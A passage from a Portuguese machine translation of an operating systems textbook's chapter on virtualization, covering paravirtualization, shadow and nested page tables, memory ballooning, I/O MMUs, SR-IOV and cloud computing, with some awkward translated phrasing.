sistemas operacionais convidados paravirtualizados, não há necessidade de emulação de instruções 
sensíveis e temos um verdadeiro microkernel, que apenas fornece recursos muito básicos 
serviços como despacho de processos e gerenciamento da MMU. O limite 
entre um hipervisor tipo 1 e um microkernel já é vago e provavelmente será 
fica ainda menos claro à medida que os hipervisores começam a adquirir cada vez mais funcionalidades e 


Machine Translated by Google 


492 VIRTUALIZAÇÃO E A NUVEM INDIVÍDUO. 7 


Virtualização verdadeira Paravirtualização 


A B £ E 


O 


Janelas não modificadas 


Armadilha 
devido a 


instruções sensíveis 


Trap devido 


à chamada do 


Linux modificado e 
hipervisor 


Micronúcleo 


Hipervisor tipo 1 


Hardware 


Figura 7-5. Verdadeira virtualização e paravirtualização. 


hiperchamadas, como parece provável. Novamente, este assunto é controverso, mas está cada 
vez mais claro que o programa executado em modo kernel no hardware básico deve ser pequeno 
e confiável e consistir em milhares, e não milhões, de linhas de código. 

A paravirtualização do sistema operacional convidado levanta uma série de questões sérias. 
Primeiro, se as instruções confidenciais (isto é, no modo kernel) forem substituídas por chamadas 
ao hipervisor, como o sistema operacional poderá ser executado no hardware nativo? Afinal, o 
hardware não entende essas hiperchamadas. E segundo, e se houver vários hipervisores 
disponíveis no mercado, como o VMware, o Xen de código aberto originalmente da Universidade 
de Cambridge e o Hyper-V da Microsoft, todos com APIs de hipervisor um tanto diferentes? Como 
o kernel pode ser modificado para rodar em todos eles? 


Amsden et al. (2006) propuseram uma solução. No modelo deles, o kernel é modificado para 
chamar procedimentos especiais sempre que precisar fazer algo sensível. 
Juntos, esses procedimentos, cnamados de VMI (Virtual Machine Interface), formam uma camada 
de baixo nível que faz interface com o hardware ou hipervisor. Esses procedimentos são projetados 
para serem genéricos e não vinculados a nenhuma plataforma de hardware específica ou a 
qualquer hipervisor específico. 

Um exemplo dessa técnica é dado na Figura 7.6 para uma versão paravirtualizada do Linux 
que eles chamam de VMI Linux (VMIL). Quando o VMI Linux é executado no hardware básico, 
ele precisa estar vinculado a uma biblioteca que emita as instruções reais (sensíveis) necessárias 
para realizar o trabalho, como mostrado na Figura 7.6(a). Ao executar em um hipervisor, como 
VMware ou Xen, o sistema operacional convidado é vinculado a diferentes bibliotecas que fazem 
as hiperchamadas apropriadas (e diferentes) para o hipervisor subjacente. Dessa forma, o núcleo 
do sistema operacional permanece portátil, mas é amigável ao hipervisor e ainda eficiente. 


Outras propostas para uma interface de máquina virtual também foram feitas. Outro popular 
é chamado de operações paravirt. A ideia é conceitualmente semelhante à que descrevemos 
acima, mas diferente nos detalhes. Essencialmente, um grupo de vários fornecedores de Linux 
que incluía empresas como IBM, VMware, Xen e Red Hat defendeu 
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Figura 7-6. VMI Linux rodando em (a) hardware básico, (b) VMware e 
(c) Xen. 


uma interface independente de hipervisor para Linux. A interface, incluída no kernel principal a partir da versão 
2.6.23, permite que o kernel se comunique com qualquer hipervisor que esteja gerenciando o hardware físico. 


7.6 VIRTUALIZAÇÃO DE MEMÓRIA 


Até agora abordamos a questão de como virtualizar a CPU. Mas um com 
O sistema do computador tem mais do que apenas uma CPU. Ele também possui memória e dispositivos de 
E/S. Eles também precisam ser virtualizados. Vamos ver como isso é feito. 

Quase todos os sistemas operacionais modernos suportam memória virtual, que é basicamente um 
mapeamento de páginas no espaço de endereço virtual em páginas de memória física. 

Este mapeamento é definido por tabelas de páginas (multiníveis). Normalmente, o mapeamento é acionado 
fazendo com que o sistema operacional defina um registro de controle na CPU que aponta para a tabela de 
páginas de nível superior. A virtualização complica muito o gerenciamento de memória. Na verdade, os 
fabricantes de hardware precisaram de duas tentativas para acertar. 

Suponha, por exemplo, que uma máquina virtual esteja em execução e o sistema operacional convidado 
nela decida mapear suas páginas virtuais 7, 4 e 3 nas páginas físicas 10, 11 e 12, respectivamente. Ele 
constrói tabelas de páginas contendo esse mapeamento e carrega um registro de hardware para apontar para 
a tabela de páginas de nível superior. Esta instrução é sensível. 

Em uma CPU VT, ele irá interceptar; com tradução dinâmica causará uma chamada para um procedimento 
de hipervisor; em um sistema operacional paravirtualizado, gerará uma hiperchamada. 

Para simplificar, vamos supor que ele esteja preso em um hipervisor tipo 1, mas o problema é o mesmo nos 
três casos. 

O que o hipervisor faz agora? Uma solução é realmente alocar as páginas físicas 10, 11 e 12 para esta 
máquina virtual e configurar as tabelas de páginas reais para mapear as páginas virtuais 7, 4 e 3 da máquina 
virtual para usá-las. Até agora tudo bem. 
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Agora suponha que uma segunda máquina virtual inicie e mapeie suas páginas virtuais 4, 5 e 6 
nas páginas físicas 10, 11 e 12 e carregue o registrador de controle para apontar para suas tabelas de 
páginas. O hipervisor pega a armadilha, mas o que ele deveria fazer? Ele não pode usar esse 
mapeamento porque as páginas físicas 10, 11 e 12 já estão em uso. Ele pode encontrar algumas 
páginas livres, digamos 20, 21 e 22, e usá-las, mas primeiro precisa criar novas tabelas de páginas 
mapeando as páginas virtuais 4, 5 e 6 da máquina virtual 2 em 20, 21 e 22. Se outra máquina virtual for 
iniciada e tentar usar as páginas físicas 10, 11 e 12, ela deverá criar um mapeamento para elas. Em 
geral, para cada máquina virtual, o hipervisor precisa criar uma tabela de páginas sombra que mapeie 
as páginas virtuais usadas pela máquina virtual nas páginas reais fornecidas pelo hipervisor. 


Pior ainda, toda vez que o sistema operacional convidado altera suas tabelas de páginas, o 
hipervisor também deve alterar as tabelas de páginas sombra. Por exemplo, se o sistema operacional 
convidado remapear a página virtual 7 para o que vê como página física 200 (em vez de 10), o hipervisor 
deverá saber sobre essa alteração. O problema é que o sistema operacional convidado pode alterar 
suas tabelas de páginas apenas gravando na memória. Nenhuma operação sensível é necessária, 
portanto o hipervisor nem sequer sabe sobre a mudança e certamente não pode atualizar as tabelas de 
páginas shadow usadas pelo hardware real. 

Uma solução possível (mas desajeitada) é o hipervisor monitorar qual página na memória virtual 
do convidado contém a tabela de páginas de nível superior. Ele pode obter essas informações na 
primeira vez que o convidado tentar carregar o registro de hardware que aponta para ele, porque essa 
instrução é sensível e intercepta. O hipervisor pode criar uma tabela de páginas sombra neste ponto e 
também mapear a tabela de páginas de nível superior e as tabelas de páginas para as quais ele aponta 
como somente leitura. Tentativas subsequentes do sistema operacional convidado de modificar qualquer 
um deles causarão uma falha de página e, assim, darão controle ao hipervisor, que pode analisar o 
fluxo de instruções, descobrir o que o sistema operacional convidado está tentando fazer e atualizar as 
tabelas de páginas sombra. de acordo. Não é bonito, mas é factível em princípio. 


Outra solução, igualmente desajeitada, é fazer exatamente o oposto. Neste caso, o hipervisor 
simplesmente permite que o convidado adicione novos mapeamentos às suas tabelas de páginas à vontade. 
Enquanto isso acontece, nada muda nas tabelas de páginas sombra. Na verdade, o hipervisor nem 
percebe isso. Porém, assim que o convidado tentar acessar alguma das novas páginas, ocorrerá uma 
falha e o controle será revertido para o hipervisor. O hipervisor inspeciona as tabelas de páginas do 
convidado para ver se há um mapeamento que ele deve adicionar e, em caso afirmativo, adiciona-o e 
reexecuta a instrução com falha. E se o convidado remover um mapeamento de suas tabelas de 
páginas? Claramente, o hipervisor não pode esperar que ocorra uma falha de página, porque isso não 
acontecerá. A remoção de um mapeamento de uma tabela de páginas acontece por meio da instrução 
INVLPG (que na verdade tem como objetivo invalidar uma entrada TLB). O hipervisor, portanto, 
intercepta esta instrução e também remove o mapeamento da tabela de páginas shadow. Novamente, 
não é bonito, mas funciona. 

Ambas as técnicas incorrem em muitas falhas de página, e as falhas de página são caras. 
Normalmente distinguimos entre falhas de página "normais" causadas por programas convidados que 
acessam uma página que foi paginada fora da RAM e falhas de página relacionadas à garantia de que 
as tabelas de páginas sombra e as tabelas de páginas do convidado estejam em 
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sincronizar. Os primeiros são conhecidos como falhas de página induzidas por convidados e, embora sejam 
interceptados pelo hipervisor, eles devem ser reinjetados no convidado. Isso não é 
barato em tudo. Estas últimas são conhecidas como falhas de página induzidas por hipervisor e são 
manipulado atualizando as tabelas de páginas sombra. 
As falhas de página são sempre caras, mas especialmente em ambientes virtualizados, 
porque levam às chamadas saídas de VM. Uma saída de VM é uma situação em que o 
hipervisor recupera o controle. Considere o que a CPU precisa fazer para essa saída da VM. 
Primeiro, ele registra a causa da saída da VM, para que o hipervisor saiba o que fazer. Isto 
também registra o endereço da instrução do convidado que causou a saída. Em seguida, é feita uma troca de 
texto, que inclui salvar todos os registros. Em seguida, ele carrega o 
estado do processador do hipervisor. Só então o hipervisor pode começar a manipular a página 
culpa, que era caro para começar. Ah, e quando tudo estiver pronto, deveria 
reverter essas etapas. Todo o processo pode levar dezenas de milhares de ciclos, ou 
mais. Não é de admirar que as pessoas se esforcem para reduzir o número de saídas. 
Num sistema operacional paravirtualizado a situação é diferente. Aqui o 
O SO paravirtualizado no convidado sabe que quando terminar de alterar a tabela de páginas de algum 
processo, é melhor informar o hipervisor. Consequentemente, ele primeiro muda 
a tabela de páginas completamente e, em seguida, emite uma chamada de hipervisor informando ao hipervisor sobre 
a nova tabela de páginas. Assim, em vez de uma falha de proteção a cada atualização da página 
tabela, há uma hiperchamada quando tudo foi atualizado, obviamente um 


maneira mais eficiente de fazer negócios. 


Suporte de hardware para tabelas de páginas aninhadas 


O custo de lidar com tabelas de páginas sombra levou os fabricantes de chips a adicionar suporte de 
hardware para tabelas de páginas aninhadas. Tabelas de páginas aninhadas é o termo usado pela AMD. Informações 
refere-se a eles como EPT (Tabelas de páginas estendidas). Eles são semelhantes e têm como objetivo 
remova a maior parte da sobrecarga manipulando a manipulação adicional da tabela de páginas 
tudo em hardware, tudo sem armadilhas. Curiosamente, as primeiras extensões de virtualização no hardware 
x86 da Intel não incluíam suporte para virtualização de memória em 
todos. Embora esses processadores estendidos por VT tenham removido muitos gargalos relativos 
A virtualização da CPU e a busca nas tabelas de páginas ficaram mais caras do que nunca. Levou 
alguns anos para a AMD e a Intel produzirem o hardware para virtualizar a memória 
eficientemente. 

Lembre-se de que mesmo sem virtualização, o sistema operacional mantém um mapeamento entre as 
páginas virtuais e a página física. O hardware "caminha" por estes 
tabelas de páginas para encontrar o endereço físico que corresponde a um endereço virtual. Adicionar mais 
máquinas virtuais simplesmente adiciona um mapeamento extra. Como exemplo, suponha 
precisamos traduzir um endereço virtual de um processo Linux em execução em um hipervisor tipo 1, como Xen 
ou VMware ESX Server, para um endereço físico. Em adição a 
endereços virtuais convidados, agora também temos endereços físicos convidados e, posteriormente, 
hospedamos endereços físicos (às vezes chamados de endereços físicos de máquina) . 
endereços). Vimos que sem EPT, o hipervisor é responsável por 
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mantendo explicitamente as tabelas de páginas sombra. Com o EPT, o hipervisor ainda tem 

um conjunto adicional de tabelas de páginas, mas agora a CPU é capaz de lidar com grande parte do 
nível intermediário em hardware também. Em nosso exemplo, o hardware primeiro percorre o 

tabelas de páginas "regulares" para traduzir o endereço virtual do convidado para um convidado físico 
endereço, assim como faria sem virtualização. A diferença é que também 

percorre as tabelas de páginas estendidas (ou aninhadas) sem intervenção de software para encontrar o 
endereço físico do host, e precisa fazer isso sempre que um endereço físico de convidado for 

acessado. A tradução é ilustrada na Figura 7-7. 
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Figura 7-7. Tabelas de páginas estendidas/aninhadas são percorridas sempre que um convidado físico 


endereço é acessado — incluindo os acessos para cada nível das tabelas de páginas do convidado. 


Infelizmente, o hardware pode precisar percorrer as tabelas de páginas aninhadas com mais frequência 
do que você imagina. Suponhamos que o endereço virtual do convidado não fosse 
armazenado em cache e requer uma pesquisa completa na tabela de páginas. Cada nível na hierarquia de paginação 
incorre em uma pesquisa nas tabelas de páginas aninhadas. Em outras palavras, o número de memória 
as referências crescem quadraticamente com a profundidade da hierarquia. Mesmo assim, o EPT reduz 
drasticamente o número de saídas de VM. Os hipervisores não precisam mais mapear o 
a tabela de páginas do convidado é somente leitura e pode eliminar o tratamento da tabela de páginas sombra. 
Melhor ainda, ao trocar de máquina virtual, apenas altera esse mapeamento, o 


da mesma forma que um sistema operacional altera o mapeamento ao alternar processos. 


Recuperando a memória 


Ter todas essas máquinas virtuais no mesmo hardware físico, todas com seus 
próprias páginas de memória e todos pensando que são o rei da montanha é ótimo - 
até precisarmos da memória de volta. Isto é particularmente importante no caso de comprometimento 
excessivo de memória, onde o hipervisor finge que a quantidade total de memória 
a memória para todas as máquinas virtuais combinadas é maior do que a quantidade total de memória real 
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memória presente no sistema. Em geral, esta é uma boa ideia, porque permite que o 

hipervisor para admitir máquinas virtuais cada vez mais robustas ao mesmo tempo. Para 

Por exemplo, em uma máquina com 32 GB de memória, pode rodar três máquinas virtuais 

cada um pensando que tem 16 GB de memória. Claramente, isso não se encaixa. Contudo, talvez 

as três máquinas realmente não precisam da quantidade máxima de memória física em 

o mesmo tempo. Ou talvez compartilhem páginas com o mesmo conteúdo (como o 

Kernel Linux) em diferentes máquinas virtuais em uma otimização conhecida como desduplicação. Nesse 
caso, as três máquinas virtuais utilizam uma quantidade total de memória que é 

menos de 3 vezes 16 GB. Discutiremos a desduplicação mais tarde; por enquanto o 

O ponto é que o que parece ser uma boa distribuição agora pode ser uma má distribuição à medida que 
as cargas de trabalho mudam. Talvez a máquina virtual 1 precise de mais memória, enquanto a máquina 
virtual 2 precisaria de menos páginas. Nesse caso, seria bom se o hipervisor pudesse transferir recursos 
de uma máquina virtual para outra e fazer o 

sistema como um todo beneficia. A questão é: como podemos eliminar páginas de memória 

com segurança se essa memória já for fornecida a uma máquina virtual? 

Em princípio, poderíamos usar ainda outro nível de paginação. Em caso de memória 
escassez, 0 hipervisor paginaria algumas das páginas da máquina virtual, 
assim como um sistema operacional pode paginar algumas páginas de um aplicativo. O 
A desvantagem desta abordagem é que o hipervisor deve fazer isso, e o hipervisor 
não tem ideia de quais páginas são mais valiosas para o hóspede. É muito provável 
para paginar os errados. Mesmo que escolha as páginas certas para trocar (ou seja, o 
páginas que o sistema operacional convidado também teria escolhido), ainda há mais problemas pela frente. 
Por exemplo, suponha que o hipervisor pagina uma página P. Um pouco mais tarde, o 
O sistema operacional convidado também decide paginar esta página no disco. Infelizmente, o hipervisor 
o espaço de troca e o espaço de troca do convidado não são iguais. Em outras palavras, o hipervisor deve 
primeiro paginar o conteúdo de volta à memória, apenas para ver o convidado escrevê-lo 
volte para o disco imediatamente. Não é muito eficiente. 

Uma solução comum é usar um truque conhecido como balão, onde um pequeno módulo de balão é 
carregado em cada VM como um pseudo driver de dispositivo que se comunica com o hipervisor. O módulo 
balão pode ser inflado a pedido do hipervisor, alocando 
cada vez mais páginas fixadas e esvaziar desalocando essas páginas. À medida que o balão infla, a 
escassez de memória do hóspede aumenta. O sistema operacional convidado 
responderá paginando o que acredita serem as páginas menos valiosas - o que é 
exatamente o que queríamos. Por outro lado, à medida que o balão esvazia, mais memória se torna 
disponível para o hóspede alocar. Em outras palavras, o hipervisor engana o sistema operacional para que 
ele tome decisões difíceis. Na política, isso é conhecido como passagem 
o dólar (ou o euro, a libra, o iene, etc.). 


7.7 VIRTUALIZAÇÃO DE E/S 


Tendo examinado a virtualização de CPU e memória, examinaremos a seguir a virtualização de E/S. 
O sistema operacional convidado normalmente começará testando o hardware 
para descobrir quais tipos de dispositivos de E/S estão conectados. Essas sondas irão capturar o 
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hipervisor. O que o hipervisor deve fazer? Uma abordagem é reportar que os discos, impressoras e 
assim por diante são os que o hardware realmente possui. O convidado então carregará drivers de 
dispositivo para esses dispositivos e tentará usá-los. Quando os drivers de dispositivo tentam realizar E/ 
S reais, eles lerão e gravarão os registros de dispositivo de hardware do dispositivo. Essas instruções 
são confidenciais e serão interceptadas pelo hipervisor, que poderá então copiar os valores necessários 
de e para os registros de hardware, conforme necessário. 


Mas aqui também temos um problema. Cada sistema operacional convidado pode pensar que 
possui uma partição de disco inteira e pode haver muito mais máquinas virtuais (centenas) do que 
partições de disco reais. A solução usual é o hipervisor criar um arquivo ou região no disco real para o 
disco físico de cada máquina virtual. Como o sistema operacional convidado está tentando controlar um 
disco que o hardware real possui (e que o hipervisor entende), ele pode converter o número do bloco 
que está sendo acessado em um deslocamento no arquivo ou região do disco que está sendo usado 
para armazenamento e fazer a E/S. 

Também é possível que o disco que o convidado está usando seja diferente do real. Por exemplo, 
se o disco real for um disco totalmente novo de alto desempenho (ou RAID) com uma nova interface, o 
hipervisor poderá anunciar ao sistema operacional convidado que possui um disco IDE simples e antigo 
e permitir que o sistema operacional convidado instale um disco IDE motorista. Quando este driver 
emite comandos de disco IDE, o hipervisor os converte em comandos para acionar o novo disco. Esta 
estratégia pode ser usada para atualizar o hardware sem alterar o software. Na verdade, esta capacidade 
das máquinas virtuais de remapear dispositivos de hardware foi uma das razões pelas quais o VM/370 
se tornou popular: as empresas queriam comprar hardware novo e mais rápido, mas não queriam 
alterar o seu software. 

A tecnologia de máquinas virtuais tornou isso possível. 

Outra tendência interessante relacionada à E/S é que o hipervisor pode assumir o papel de um 
switch virtual. Nesse caso, cada máquina virtual possui um endereço MAC e o hipervisor alterna quadros 
de uma máquina virtual para outra, exatamente como faria um switch Ethernet. Os switches virtuais têm 
diversas vantagens. Por exemplo, é muito fácil reconfigurá-los. Além disso, é possível aumentar o switch 
com funcionalidades adicionais, por exemplo, para segurança adicional. 


MMUs de E/S 


Outro problema de E/S que deve ser resolvido de alguma forma é o uso de DMA, que utiliza 
endereços de memória absolutos. Como seria de esperar, o hipervisor deve intervir aqui e remapear os 
endereços antes do início do DMA. No entanto, já existe hardware com uma MMU de E/S, que 
virtualiza a E/S da mesma forma que a MMU virtualiza a memória. A MMU de E/S existe em diferentes 
formas e formatos para muitas arquiteturas de processador. Mesmo que nos limitemos ao x86, Intel e 
AMD possuem tecnologias ligeiramente diferentes. Ainda assim, a ideia é a mesma. Este hardware 
elimina o problema do DMA. 


Assim como as MMUs normais, a MMU de E/S usa tabelas de páginas para mapear um endereço 
de memória que um dispositivo deseja usar (o endereço do dispositivo) para um endereço físico. Em um 
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ambiente virtual, o hipervisor pode configurar as tabelas de páginas de tal forma que um 
dispositivo que executa DMA não atropelará a memória que não pertence ao 
máquina virtual em cujo nome está funcionando. 

As MMUs de E/S oferecem diferentes vantagens ao lidar com um dispositivo em um mundo virtualizado. 
A passagem do dispositivo permite que o dispositivo físico seja assinado diretamente em uma máquina 
virtual específica. Em geral, seria ideal se o endereço do dispositivo 
espaço eram exatamente iguais ao espaço de endereço físico do convidado. No entanto, isso é 
improvável — a menos que você tenha uma MMU de E/S. A MMU permite que os endereços sejam 
remapeados de forma transparente, e tanto o dispositivo quanto a máquina virtual ficam felizes 
desconhece a tradução de endereços que ocorre nos bastidores. 

O isolamento de dispositivos garante que um dispositivo atribuído a uma máquina virtual possa 
acessar diretamente essa máquina virtual sem comprometer a integridade dos outros convidados. 

Em outras palavras, a MMU de E/S evita tráfego DMA não autorizado, assim como uma MMU normal 
evita acessos não autorizados à memória por parte de processos — em ambos os casos, acessos a páginas 
não mapeadas resultam em falhas. 

DMA e endereços não são toda a história do I/O, infelizmente. Para completar, também precisamos 
virtualizar as interrupções, para que a interrupção gerada por um dispositivo chegue à máquina virtual correta, 
com o número de interrupção correto. Moderno 
Portanto, MMUs de E/S suportam remapeamento de interrupção. Digamos que um dispositivo envie uma 
mensagem sinalizada como interrupção com o número 1. Esta mensagem atinge primeiro a MMU de E/S que 
usará a tabela de remapeamento de interrupção para traduzir para uma nova mensagem destinada a 
a CPU que atualmente executa a máquina virtual e com o número do vetor que 
a VM espera (por exemplo, 66). 

E, finalmente, ter uma MMU de E/S permite que dispositivos de 32 bits acessem a memória 
acima de 4 GB. Normalmente, esses dispositivos não conseguem acessar endereços (por exemplo, DMA para) 
além de 4 GB, mas a MMU de E/S pode remapear facilmente os endereços inferiores do dispositivo para 
qualquer endereço no espaço de endereço físico maior. 


Domínios de dispositivos 


Uma abordagem diferente para lidar com E/S é dedicar uma das máquinas virtuais 
para executar um sistema operacional padrão e refletir todas as cnamadas de E/S dos outros para ele. 
Esta abordagem é aprimorada quando a paravirtualização é usada, de modo que o comando sendo 
emitido para o hipervisor realmente diz o que o sistema operacional convidado deseja (por exemplo, ler bloco 
1403 do disco 1), em vez de ser uma série de comandos escritos em registros de dispositivos, caso em que 
o hipervisor terá que bancar o Sherlock Holmes e descobrir o que está acontecendo. 
está tentando fazer. O Xen usa essa abordagem para E/S, com a máquina virtual que faz 
E/S chamada domínio 0. 

A virtualização de E/S é uma área na qual os hipervisores tipo 2 têm uma vantagem prática sobre os 
hipervisores tipo 1: o sistema operacional host contém os drivers de dispositivo. 
para todos os dispositivos de E/S estranhos e maravilhosos conectados ao computador. Quando um 
programa aplicativo tenta acessar um dispositivo de E/S estranho, o código traduzido 
pode chamar o driver de dispositivo existente para realizar o trabalho. Com um hipervisor tipo 1, 
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o hipervisor deve conter o próprio driver ou fazer uma chamada para um driver no domínio 0, que 

é um pouco semelhante a um sistema operacional host. À medida que a tecnologia de máquinas 
virtuais amadurece, o hardware futuro provavelmente permitirá que programas aplicativos acessem 
o hardware diretamente e de maneira segura, o que significa que os drivers de dispositivo podem 
ser vinculados diretamente ao código do aplicativo ou colocados em servidores de modo de usuário 
separados (como no MINIX3). eliminando assim o problema. 


Virtualização de E/S de raiz única 


Atribuir diretamente um dispositivo a uma máquina virtual não é muito escalável. Com quatro 
redes físicas, você não pode suportar mais do que quatro máquinas virtuais dessa forma. 

Para oito máquinas virtuais você precisa de oito placas de rede e para executar 128 máquinas 
virtuais — bem, digamos apenas que pode ser difícil encontrar seu computador enterrado sob todos 
aqueles cabos de rede. 

O compartilhamento de dispositivos entre vários hipervisores em software é possível, mas 
muitas vezes não é ideal porque uma camada de emulação (ou domínio de dispositivo) se interpõe 
entre o hardware, os drivers e os sistemas operacionais convidados. O dispositivo emulado 
frequentemente não implementa todas as funções avançadas suportadas pelo hardware. 
Idealmente, a tecnologia de virtualização ofereceria a equivalência de passagem de um único 
dispositivo para vários hipervisores, sem qualquer sobrecarga. 

Virtualizar um único dispositivo para fazer com que cada máquina virtual acredite que tem acesso 
exclusivo ao seu próprio dispositivo é muito mais fácil se o hardware realmente fizer a virtualização 
para você. No PCle, isso é conhecido como virtualização de E/S de raiz única. 

SR-IOV (Single Root I/O Virtualization) nos permite contornar o envolvimento do hipervisor 
na comunicação entre o driver e o dispositivo. 

Dispositivos que suportam SR-IOV fornecem espaço de memória independente, interrupções e 
fluxos DMA para cada máquina virtual que o utiliza (Intel, 2011). O dispositivo aparece como vários 
dispositivos separados e cada um pode ser configurado por máquinas virtuais separadas. Por 
exemplo, cada um terá um registro de endereço base e espaço de endereço separados. Uma 
máquina virtual mapeia uma dessas áreas de memória (usada, por exemplo, para configurar o 
dispositivo) em seu espaço de endereço. 

O SR-IOV fornece acesso ao dispositivo em dois tipos: PF (Funções Físicas) e (Funções 
Virtuais). PFs são funções PCle completas e permitem que o dispositivo seja configurado da 
maneira que o administrador achar adequado. As funções físicas não são acessíveis aos sistemas 
operacionais convidados. VFs são funções PCle leves que não oferecem tais opções de 
configuração. Eles são ideais para máquinas virtuais. 

Em resumo, o SR-IOV permite que dispositivos sejam virtualizados em (até) centenas de funções 
virtuais que enganam as máquinas virtuais fazendo-as acreditar que são as únicas proprietárias 
de um dispositivo. Por exemplo, dada uma interface de rede SR-IOV, uma máquina virtual é capaz 
de lidar com sua placa de rede virtual da mesma forma que uma placa física. Melhor ainda, muitas 
placas de rede modernas possuem buffers separados (circulares) para envio e recebimento de 
dados, dedicados a essas máquinas virtuais. Por exemplo, a série de placas de rede Intel 1350 tem 
oito filas de envio e oito filas de recebimento. 
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7.8 MÁQUINAS VIRTUAIS EM CPUS MULTICORE 


A combinação de máquinas virtuais e CPUs multicore cria um ambiente totalmente novo 


mundo em que o número de CPUs disponíveis pode ser definido pelo software. Se lá 

são, digamos, quatro núcleos, e cada um pode executar, por exemplo, até oito máquinas virtuais, um 
CPU única (desktop) pode ser configurada como um multicomputador de 32 nós, se necessário, 
mas também pode ter menos CPUs, dependendo do software. Nunca antes 

foi possível para um designer de aplicativos escolher primeiro quantas CPUs ele deseja 

e então escreva o software de acordo. Esta é claramente uma nova fase na computação. 

Além disso, as máquinas virtuais podem compartilhar memória. Um exemplo típico onde isso 
O que é útil é um único servidor que hospeda várias instâncias do mesmo sistema operacional. Tudo o 
que precisa ser feito é mapear páginas físicas nos espaços de endereço de diversas máquinas virtuais. O 
compartilhamento de memória já está disponível em soluções de desduplicação. A desduplicação faz 
exatamente o que você pensa: evita armazenar o mesmo 
dados duas vezes. É uma técnica bastante comum em sistemas de armazenamento, mas agora também 
está aparecendo na virtualização. No Disco, era conhecido como compartilhamento transparente de páginas 
(que requer modificação para o convidado), enquanto a VMware o chama de baseado em conteúdo 
compartilhamento de páginas (que não requer nenhuma modificação). Em geral, a técnica 
gira em torno da verificação da memória de cada uma das máquinas virtuais em um host e 
hash das páginas de memória. Caso algumas páginas produzam um hash idêntico, o sistema deve 
primeiro verificar se elas realmente são iguais e, em caso afirmativo, desduplicá-las. 
criando uma página com o conteúdo real e duas referências a essa página. Desde o 
O hipervisor controla as tabelas de páginas aninhadas (ou sombra), esse mapeamento é direto. Claro, 
quando um dos convidados modifica uma página compartilhada, a alteração 
não deve estar visível nas outras máquinas virtuais. O truque é usar copy em 
escreva para que a página modificada seja privada para o escritor. 

Se as máquinas virtuais puderem compartilhar memória, um único computador se tornará um computador virtual. 
multiprocessador. Como todos os núcleos de um chip multicore compartilham a mesma RAM, um único 
chip quad-core poderia facilmente ser configurado como um multiprocessador de 32 nós ou um 
Multicomputador de 32 nós, conforme necessário. 

A combinação de multicore, máquinas virtuais, hipervisor e microkernels 
vai mudar radicalmente a maneira como as pessoas pensam sobre os sistemas de computador. Atual 
software não consegue lidar com a ideia do programador determinar quantos 
São necessárias CPUs, sejam elas um multicomputador ou um multiprocessador, 

e como os grãos mínimos de um tipo ou de outro se enquadram no quadro. O software futuro terá que 
lidar com essas questões. Se você é um estudante ou profissional de ciência da computação ou 
engenharia, você pode resolver tudo isso. Vá em frente! 


7.9 NUVENS 


A tecnologia de virtualização desempenhou um papel crucial na ascensão vertiginosa da nuvem 
Informática. Existem muitas nuvens. Algumas nuvens são públicas e estão disponíveis para qualquer 
pessoa disposta a pagar pelo uso dos recursos, outras são privadas para uma organização. 
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Da mesma forma, nuvens diferentes oferecem coisas diferentes. Alguns dão aos seus usuários 
acesso a hardware físico, mas a maioria virtualiza seus ambientes. Alguns oferecem máquinas 
simples, virtuais ou não, e nada mais, mas outros oferecem softwares prontos para uso e que 
podem ser combinados de maneiras interessantes, ou plataformas que facilitam para seus 
usuários o desenvolvimento de novos serviços. Os provedores de nuvem normalmente oferecem 
diferentes categorias de recursos, como “máquinas grandes” versus “máquinas pequenas”. 

Apesar de toda a conversa sobre nuvens, poucas pessoas parecem realmente certas sobre 
o que elas são exatamente. O Instituto Nacional de Padrões e Tecnologia, sempre uma boa fonte 
de referência, lista cinco características essenciais: 


1. Autoatendimento sob demanda. Os usuários devem poder provisionar recursos 
automaticamente, sem exigir interação humana. 


2. Amplo acesso à rede. Todos esses recursos devem estar disponíveis na rede 


através de mecanismos padrão para que dispositivos heterogêneos possam 
utilizá-los. 


3. Agrupamento de recursos. Os recursos computacionais de propriedade do 
provedor devem ser agrupados para servir vários usuários e com a capacidade 
de atribuir e reatribuir recursos dinamicamente. Os usuários geralmente nem 
sabem a localização exata de “seus” recursos ou mesmo em que país estão 
localizados. 


4. Elasticidade rápida. Deveria ser possível adquirir e liberar recursos de forma 
elástica, talvez até automática, para escalar imediatamente de acordo com as 
demandas dos usuários. 


5. Serviço medido. O provedor de nuvem mede os recursos usados em um 
forma que corresponda ao tipo de serviço acordado. 


7.9.1 Nuvens como serviço 


Nesta seção, veremos as nuvens com foco na virtualização e nos sistemas operacionais. 
Especificamente, consideramos nuvens que oferecem acesso direto a uma máquina virtual, que 
o usuário pode utilizar da maneira que achar melhor. Assim, a mesma nuvem pode executar 
sistemas operacionais diferentes, possivelmente no mesmo hardware. Em termos de nuvem, 
isso é conhecido como IAAS (Infraestrutura como serviço), em oposição a PAAS (Plataforma 
como serviço, que oferece um ambiente que inclui coisas como um sistema operacional 
específico, banco de dados, servidor Web e assim por diante). SAAS (Software As A Service), 
que oferece acesso a software específico, como Microsoft Office 365 ou Google Apps), FAAS 
(Function As A Service), que ajuda a implantar aplicativos na nuvem, e muitos outros tipos de 
as- um serviço. Um exemplo de nuvem IAAS é o Amazon AWS, que é baseado no hipervisor 
Xen e conta com várias centenas de milhares de máquinas físicas. Desde que você tenha 
dinheiro, você pode ter todo o poder de computação necessário. 
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As nuvens podem transformar a maneira como as empresas fazem computação. No geral, a 
consolidação dos recursos computacionais num pequeno número de locais (convenientemente 
localizados perto de uma fonte de energia e de refrigeração barata) beneficia da economia de 
escala. Terceirizar seu processamento significa que você não precisa se preocupar tanto com o 
gerenciamento de sua infraestrutura de TI, backups, manutenção, depreciação, escalabilidade, 
confiabilidade, desempenho e talvez segurança. Tudo isso é feito em um só lugar e, desde que o 
provedor de nuvem seja competente, é bem feito. Você poderia pensar que os gerentes de TI 
estão mais felizes hoje do que há 10 anos. Contudo, à medida que estas preocupações 
desapareceram, surgiram novas. Você pode realmente confiar no seu provedor de nuvem para manter seus dados c 
Um concorrente operando na mesma infraestrutura será capaz de inferir informações que você 
deseja manter privadas? Que leis se aplicam aos seus dados (por exemplo, se o fornecedor de 
nuvem for dos Estados Unidos, os seus dados estão sujeitos à Lei PATRIOT, mesmo que a sua 
empresa esteja na Europa)? Depois de armazenar todos os seus dados na nuvem X, você será 
capaz de retirá-los novamente ou ficará vinculado a essa nuvem e a seu provedor para sempre, 
algo conhecido como aprisionamento de fornecedor ? 


7.9.2 Migração de Máquina Virtual 


A tecnologia de virtualização não apenas permite que as nuvens IAAS executem vários 
sistemas operacionais diferentes no mesmo hardware ao mesmo tempo, mas também permite um 
